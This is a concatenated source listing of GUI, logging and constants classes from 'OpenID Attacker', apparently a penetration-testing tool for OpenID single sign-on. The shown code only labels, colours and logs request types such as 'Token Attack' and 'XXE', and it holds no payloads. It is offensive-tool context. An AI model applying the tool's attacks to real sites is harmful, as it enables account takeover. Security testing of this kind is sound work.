| * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.attack; 20 | 21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 22 | import wsattacker.sso.openid.attacker.attack.parameter.SearchReplaceAttackParameter; 23 | 24 | public class AttackParameterGuiFactory { 25 | 26 | public static AbstractAttackParameterGui createGui(AttackParameter parameter) { 27 | AbstractAttackParameterGui gui; 28 | // if (parameter instanceof SearchReplaceAttackParameter) { 29 | gui = new SearchReplaceAttackParameterGui((SearchReplaceAttackParameter) parameter); 30 | // } else { 31 | // gui = new AttackParameterGui(parameter); 32 | // } 33 | return gui; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/log/SelectedRequestConverter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.log; 20 | 21 | import org.jdesktop.beansbinding.Converter; 22 | import wsattacker.sso.openid.attacker.log.RequestLogEntry; 23 | 24 | public class SelectedRequestConverter extends Converter { 25 | 26 | @Override 27 | public String convertForward(RequestLogEntry value) { 28 | return value.getRequest(); 29 | } 30 | 31 | @Override 32 | public RequestLogEntry convertReverse(String value) { 33 | throw new UnsupportedOperationException("Read only conversation"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/log/SelectedResponseConverter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.log; 20 | 21 | import org.jdesktop.beansbinding.Converter; 22 | import wsattacker.sso.openid.attacker.log.RequestLogEntry; 23 | 24 | public class SelectedResponseConverter extends Converter { 25 | 26 | @Override 27 | public String convertForward(RequestLogEntry value) { 28 | return value.getResponse(); 29 | } 30 | 31 | @Override 32 | public RequestLogEntry convertReverse(String value) { 33 | throw new UnsupportedOperationException("Read only conversation"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/profile/SelectedDescriptionConverter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.profile; 20 | 21 | import org.jdesktop.beansbinding.Converter; 22 | import wsattacker.sso.openid.attacker.attack.profile.AttackProfile; 23 | 24 | public class SelectedDescriptionConverter extends Converter { 25 | 26 | @Override 27 | public String convertForward(AttackProfile value) { 28 | return value.getDescription(); 29 | } 30 | 31 | @Override 32 | public AttackProfile convertReverse(String value) { 33 | throw new UnsupportedOperationException("Read only conversation"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/profile/SelectedNameConverter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.profile; 20 | 21 | import org.jdesktop.beansbinding.Converter; 22 | import wsattacker.sso.openid.attacker.attack.profile.AttackProfile; 23 | 24 | public class SelectedNameConverter extends Converter { 25 | 26 | @Override 27 | public String convertForward(AttackProfile value) { 28 | return value.getName(); 29 | } 30 | 31 | @Override 32 | public AttackProfile convertReverse(String value) { 33 | throw new UnsupportedOperationException("Read only conversation"); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/server/DateRenderer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.server; 20 | 21 | import java.text.DateFormat; 22 | import javax.swing.table.DefaultTableCellRenderer; 23 | 24 | public class DateRenderer extends DefaultTableCellRenderer { 25 | 26 | private final DateFormat formatter = DateFormat.getDateTimeInstance(DateFormat.SHORT, DateFormat.MEDIUM); 27 | 28 | @Override 29 | public void setValue(Object value) { 30 | setText((value == null) ? "" : formatter.format(value)); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/server/IdpTypeRenderer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.server; 20 | 21 | import java.awt.Color; 22 | import java.awt.Component; 23 | import javax.swing.JTable; 24 | import javax.swing.table.DefaultTableCellRenderer; 25 | import wsattacker.sso.openid.attacker.server.IdpType; 26 | 27 | /** 28 | * 29 | * @author christiankossmann 30 | */ 31 | public class IdpTypeRenderer extends DefaultTableCellRenderer { 32 | 33 | @Override 34 | public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { 35 | Component cell = super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column); 36 | if (value instanceof IdpType) { 37 | IdpType idpType = (IdpType) value; 38 | 39 | switch (idpType) { 40 | case ATTACKER: 41 | cell.setBackground(Color.RED); 42 | break; 43 | case ANALYZER: 44 | cell.setBackground(Color.GREEN); 45 | break; 46 | } 47 | } 48 | return cell; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/server/StartButtonColorConverter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.server; 20 | 21 | import java.awt.Color; 22 | import org.jdesktop.beansbinding.Converter; 23 | import wsattacker.sso.openid.attacker.server.status.Status; 24 | 25 | public class StartButtonColorConverter extends Converter { 26 | 27 | final private Color COLOR_NORMAL = new Color(238, 238, 238); 28 | final private Color COLOR_NOT_RUNNING = Color.RED; 29 | 30 | public StartButtonColorConverter() { 31 | } 32 | 33 | @Override 34 | public Color convertForward(Status value) { 35 | Color result = COLOR_NOT_RUNNING; 36 | if (Status.RUNNING.equals(value)) { 37 | result = COLOR_NORMAL; 38 | } 39 | return result; 40 | } 41 | 42 | @Override 43 | public Status convertReverse(Color value) { 44 | throw new UnsupportedOperationException("Read only."); //To change body of generated methods, choose Tools | Templates. 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/server/TypeRenderer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.server; 20 | 21 | import java.awt.Color; 22 | import java.awt.Component; 23 | import javax.swing.JTable; 24 | import javax.swing.table.DefaultTableCellRenderer; 25 | import wsattacker.sso.openid.attacker.log.RequestType; 26 | import static wsattacker.sso.openid.attacker.log.RequestType.XRDS; 27 | 28 | public class TypeRenderer extends DefaultTableCellRenderer { 29 | 30 | public Color getColor(RequestType type) { 31 | Color result; 32 | switch (type) { 33 | case ASSOCIATION: 34 | result = Color.YELLOW; 35 | break; 36 | case XRDS: 37 | result = Color.LIGHT_GRAY; 38 | break; 39 | case HTML: 40 | result = Color.BLUE; 41 | break; 42 | case TOKEN_VALID: 43 | result = Color.green; 44 | break; 45 | case TOKEN_ATTACK: 46 | result = Color.red; 47 | break; 48 | case CHECK_AUTHENTICATION: 49 | result = Color.CYAN; 50 | break; 51 | case ERROR: 52 | result = Color.MAGENTA; 53 | break; 54 | case XXE: 55 | result = Color.PINK; 56 | break; 57 | default: 58 | throw new AssertionError(); 59 | } 60 | return result; 61 | } 62 | 63 | @Override 64 | public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { 65 | Component cell = super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column); 66 | if (value instanceof RequestType) { 67 | cell.setBackground(getColor((RequestType) value)); 68 | } 69 | return cell; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/gui/utilities/XmlFileFilter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.gui.utilities; 20 | 21 | import java.io.File; 22 | import javax.swing.filechooser.FileFilter; 23 | 24 | public class XmlFileFilter extends FileFilter { 25 | 26 | private static final String DESCRIPTION = "XML-File"; 27 | 28 | @Override 29 | public boolean accept(File file) { 30 | boolean result = false; 31 | if (file.isDirectory()) { 32 | result = true; 33 | } else if (file.getName().toLowerCase().endsWith(".xml")) { 34 | result = true; 35 | } 36 | return result; 37 | } 38 | 39 | @Override 40 | public String getDescription() { 41 | return DESCRIPTION; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/log/RequestLogEntry.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.log; 20 | 21 | import java.io.Serializable; 22 | import java.util.Date; 23 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 24 | import wsattacker.sso.openid.attacker.server.IdpType; 25 | 26 | public class RequestLogEntry extends AbstractBean implements Serializable { 27 | 28 | public static final String PROP_TYPE = "type"; 29 | public static final String PROP_DATE = "date"; 30 | public static final String PROP_TEXT = "text"; 31 | public static final String PROP_REQUEST = "request"; 32 | public static final String PROP_RESPONSE = "response"; 33 | public static final String PROP_IDPTYPE = "idpType"; 34 | private RequestType type = RequestType.ASSOCIATION; 35 | final private Date date = new Date(); 36 | private String text = ""; 37 | private String request = ""; 38 | private String response = ""; 39 | private IdpType idpType = IdpType.ATTACKER; 40 | 41 | protected RequestLogEntry(RequestType type, String text, String request, String response, IdpType idpType) { 42 | this.text = text; 43 | this.type = type; 44 | this.request = request; 45 | this.response = response; 46 | this.idpType = idpType; 47 | } 48 | 49 | /** 50 | * Get the value of request 51 | * 52 | * @return the value of request 53 | */ 54 | public String getRequest() { 55 | return request; 56 | } 57 | 58 | /** 59 | * Set the value of request 60 | * 61 | * @param request new value of request 62 | */ 63 | public void setRequest(String request) { 64 | String oldRequest = this.request; 65 | this.request = request; 66 | firePropertyChange(PROP_REQUEST, oldRequest, request); 67 | } 68 | 69 | /** 70 | * Get the value of response 71 | * 72 | * @return the value of response 73 | */ 74 | public String getResponse() { 75 | return response; 76 | } 77 | 78 | /** 79 | * Set the value of response 80 | * 81 | * @param response new value of response 82 | */ 83 | public void setResponse(String response) { 84 | String oldResponse = this.response; 85 | this.response = response; 86 | firePropertyChange(PROP_RESPONSE, oldResponse, response); 87 | } 88 | 89 | /** 90 | * Get the value of date 91 | * 92 | * @return the value of date 93 | */ 94 | public Date getDate() { 95 | return date; 96 | } 97 | 98 | /** 99 | * Get the value of text 100 | * 101 | * @return the value of text 102 | */ 103 | public String getText() { 104 | return text; 105 | } 106 | 107 | /** 108 | * Set the value of text 109 | * 110 | * @param text new value of text 111 | */ 112 | public void setText(String text) { 113 | String oldText = this.text; 114 | this.text = text; 115 | firePropertyChange(PROP_TEXT, oldText, text); 116 | } 117 | 118 | /** 119 | * Get the value of type 120 | * 121 | * @return the value of type 122 | */ 123 | public RequestType getType() { 124 | return type; 125 | } 126 | 127 | /** 128 | * Set the value of type 129 | * 130 | * @param type new value of type 131 | */ 132 | public void setType(RequestType type) { 133 | RequestType oldType = this.type; 134 | this.type = type; 135 | firePropertyChange(PROP_TYPE, oldType, type); 136 | } 137 | 138 | /** 139 | * Get the value of idpType 140 | * 141 | * @return the value of idpType 142 | */ 143 | public IdpType getIdpType() { 144 | return idpType; 145 | } 146 | 147 | /** 148 | * Set the value of idpType 149 | * 150 | * @param idpType new value of idpType 151 | */ 152 | public void setIdpType(IdpType idpType) { 153 | IdpType oldIdpType = this.idpType; 154 | this.idpType = idpType; 155 | firePropertyChange(PROP_IDPTYPE, oldIdpType, idpType); 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/log/RequestLogger.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.log; 20 | 21 | import java.util.ArrayList; 22 | import java.util.List; 23 | import org.jdesktop.observablecollections.ObservableCollections; 24 | import org.jdesktop.observablecollections.ObservableList; 25 | import wsattacker.sso.openid.attacker.server.IdpType; 26 | 27 | /** 28 | * This class is somehow an advanced Logger for OpenID messages. 29 | * The HTTP Handler will use it to log the order of incoming requests. 30 | */ 31 | final public class RequestLogger { 32 | 33 | final private static RequestLogger INSTANCE = new RequestLogger(); 34 | private final ObservableList entryList = ObservableCollections.observableList(new ArrayList()); 35 | 36 | public static RequestLogger getInstance() { 37 | return INSTANCE; 38 | } 39 | 40 | private RequestLogger() { 41 | } 42 | 43 | /** 44 | * Get all entries. 45 | * 46 | * @return 47 | */ 48 | public List getEntryList() { 49 | return entryList; 50 | } 51 | 52 | /** 53 | * Add a new Entry 54 | * 55 | * @param type The type of the request can be XRDS, Association, Valid 56 | * Token 57 | * or attack token. 58 | * @param text A short description 59 | * @param request The important part of the HTTP request 60 | * @param response The important part of the HTTP response 61 | * @param idpType Type of IdP: Attacker or Analyzer 62 | */ 63 | public void add(RequestType type, String text, String request, String response, IdpType idpType) { 64 | entryList.add(0, new RequestLogEntry(type, text, request, response, idpType)); 65 | } 66 | 67 | /** 68 | * Clear the log. This will remove all entries. 69 | */ 70 | public void clear() { 71 | entryList.clear(); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/log/RequestType.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.log; 20 | 21 | public enum RequestType { 22 | 23 | ASSOCIATION("Association"), XRDS("XRDS"), HTML("HTML"), TOKEN_VALID("Token Valid"), TOKEN_ATTACK("Token Attack"), ERROR("Error"), CHECK_AUTHENTICATION("Check Authentication"), XXE("XXE"); 24 | private String representation; 25 | 26 | private RequestType(String representation) { 27 | this.representation = representation; 28 | } 29 | 30 | @Override 31 | public String toString() { 32 | return representation; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/log/utilities/PrintHelper.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.log.utilities; 20 | 21 | import java.util.Map; 22 | 23 | final public class PrintHelper { 24 | 25 | private PrintHelper() { 26 | } 27 | 28 | public static String mapToString(Map theMap) { 29 | StringBuilder sb = new StringBuilder(""); 30 | for (Map.Entry entry : theMap.entrySet()) { 31 | sb.append(entry.getKey()); 32 | sb.append(':'); 33 | sb.append(entry.getValue()); 34 | sb.append('\n'); 35 | } 36 | return sb.toString(); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/message/OpenIdElementNames.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.message; 20 | 21 | public final class OpenIdElementNames { 22 | 23 | public static final String MODE = "mode"; 24 | public static final String IDENTIFIER = "identifier"; 25 | public static final String CLAIMED_ID = "claimed_id"; 26 | public static final String OP_ENDPOINT = "op_endpoint"; 27 | public static final String ASSOC_HANDLE = "assoc_handle"; 28 | public static final String SIGNATURE = "sig"; 29 | public static final String SIGNED_FIELDS = "signed"; 30 | public static final String NICKNAME = "nickname"; // 'http://axschema.org/namePerson/friendly' 31 | public static final String EMAIL = "email"; // 'http://axschema.org/contact/email' 32 | public static final String FULLNAME = "fullname"; // 'http://axschema.org/namePerson' 33 | public static final String DOB = "dob"; // 'http://axschema.org/birthDate' 34 | public static final String GENDER = "gender"; // 'http://axschema.org/person/gender' 35 | public static final String POSTCODE = "postcode"; // 'http://axschema.org/contact/postalCode/home' 36 | public static final String COUNTRY = "country"; // 'http://axschema.org/contact/country/home' 37 | public static final String LANGUAGE = "language"; // 'http://axschema.org/pref/language' 38 | public static final String TIMEZONE = "timezone"; // 'http://axschema.org/pref/timezone' 39 | 40 | private OpenIdElementNames() { 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/message/OpenIdNamespaces.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.message; 20 | 21 | public final class OpenIdNamespaces { 22 | 23 | public static final String AX_NICKNAME = "http://axschema.org/namePerson/friendly"; 24 | public static final String AX_EMAIL = "http://axschema.org/contact/email"; 25 | public static final String AX_FULLNAME = "http://axschema.org/namePerson"; 26 | public static final String AX_DOB = "http://axschema.org/birthDate"; 27 | public static final String AX_GENDER = "http://axschema.org/person/gender"; 28 | public static final String AX_POSTCODE = "http://axschema.org/contact/postalCode/home"; 29 | public static final String AX_COUNTRY = "http://axschema.org/contact/country/home"; 30 | public static final String AX_LANGUAGE = "http://axschema.org/pref/language"; 31 | public static final String AX_TIMEZONE = "http://axschema.org/pref/timezone"; 32 | public static final String OPENID_NICKNAME = "http://openid.net/schema/namePerson/friendly"; 33 | public static final String OPENID_EMAIL = "http://openid.net/schema/contact/internet/email"; 34 | public static final String OPENID_GENDER = "http://openid.net/schema/gender"; 35 | public static final String OPENID_POSTCODE = "http://openid.net/schema/contact/postalCode/home"; 36 | public static final String OPENID_COUNTRY = "http://openid.net/schema/contact/country/home"; 37 | public static final String OPENID_LANGUAGE = "http://openid.net/schema/language/pref"; 38 | public static final String OPENID_TIMEZONE = "http://openid.net/schema/timezone"; 39 | 40 | private OpenIdNamespaces() { 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/server/IdpType.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.server; 20 | 21 | /** 22 | * 23 | * @author christiankossmann 24 | */ 25 | public enum IdpType { 26 | ATTACKER("Attacker"), ANALYZER("Analyzer"); 27 | private String representation; 28 | 29 | private IdpType(String representation) { 30 | this.representation = representation; 31 | } 32 | 33 | @Override 34 | public String toString() { 35 | return representation; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/server/exception/OpenIdAttackerServerException.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.server.exception; 20 | 21 | public class OpenIdAttackerServerException extends Exception { 22 | 23 | public OpenIdAttackerServerException() { 24 | } 25 | 26 | public OpenIdAttackerServerException(String msg) { 27 | super(msg); 28 | } 29 | 30 | public OpenIdAttackerServerException(String msg, Throwable e) { 31 | super(msg, e); 32 | } 33 | 34 | public OpenIdAttackerServerException(Throwable cause) { 35 | super(cause); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/server/status/Status.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * 